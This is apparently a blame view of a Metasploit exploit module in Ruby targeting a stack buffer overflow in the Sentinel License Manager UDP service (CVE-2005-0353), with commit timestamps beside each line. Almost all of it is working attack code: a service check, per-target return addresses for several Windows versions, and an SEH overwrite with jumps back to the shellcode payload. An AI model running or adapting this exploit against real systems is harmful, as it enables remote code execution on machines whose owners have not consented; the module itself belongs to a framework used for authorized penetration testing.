2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = AverageRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'SentinelLM UDP Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a simple stack buffer overflow in the Sentinel
|
|
|
|
License Manager. The SentinelLM service is installed with a
|
|
|
|
wide selection of products and seems particular popular with
|
|
|
|
academic products. If the wrong target value is selected,
|
|
|
|
the service will crash and not restart.
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2005-0353'],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '14605'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '12742'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 800,
|
|
|
|
'BadChars' => "\x00\x20",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
|
|
|
|
['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
|
|
|
|
['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll
|
|
|
|
['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
|
|
|
|
['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 07 2005' ))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(5093)
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect_udp
|
|
|
|
udp_sock.put("\x7a\x00\x00\x00\x00\x00")
|
|
|
|
res = udp_sock.recvfrom(8192)
|
|
|
|
disconnect_udp
|
|
|
|
|
|
|
|
if (res and res[0] == 0x7a)
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
# Payload goes first
|
|
|
|
buf = payload.encoded + rand_text_english(2048-payload.encoded.length)
|
|
|
|
|
|
|
|
# Return to a pop/pop/ret via SEH
|
|
|
|
buf[836, 4] = [target.ret].pack('V')
|
|
|
|
|
|
|
|
# The pop/pop/ret takes us here, jump back 5 bytes
|
|
|
|
buf[832, 2] = "\xeb\xf9"
|
|
|
|
|
|
|
|
# Now jump all the way back to our shellcode
|
|
|
|
buf[827, 5] = "\xe9" + [-829].pack('V')
|
|
|
|
|
|
|
|
udp_sock.put(buf)
|
|
|
|
udp_sock.recvfrom(8192)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect_udp
|
|
|
|
end
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|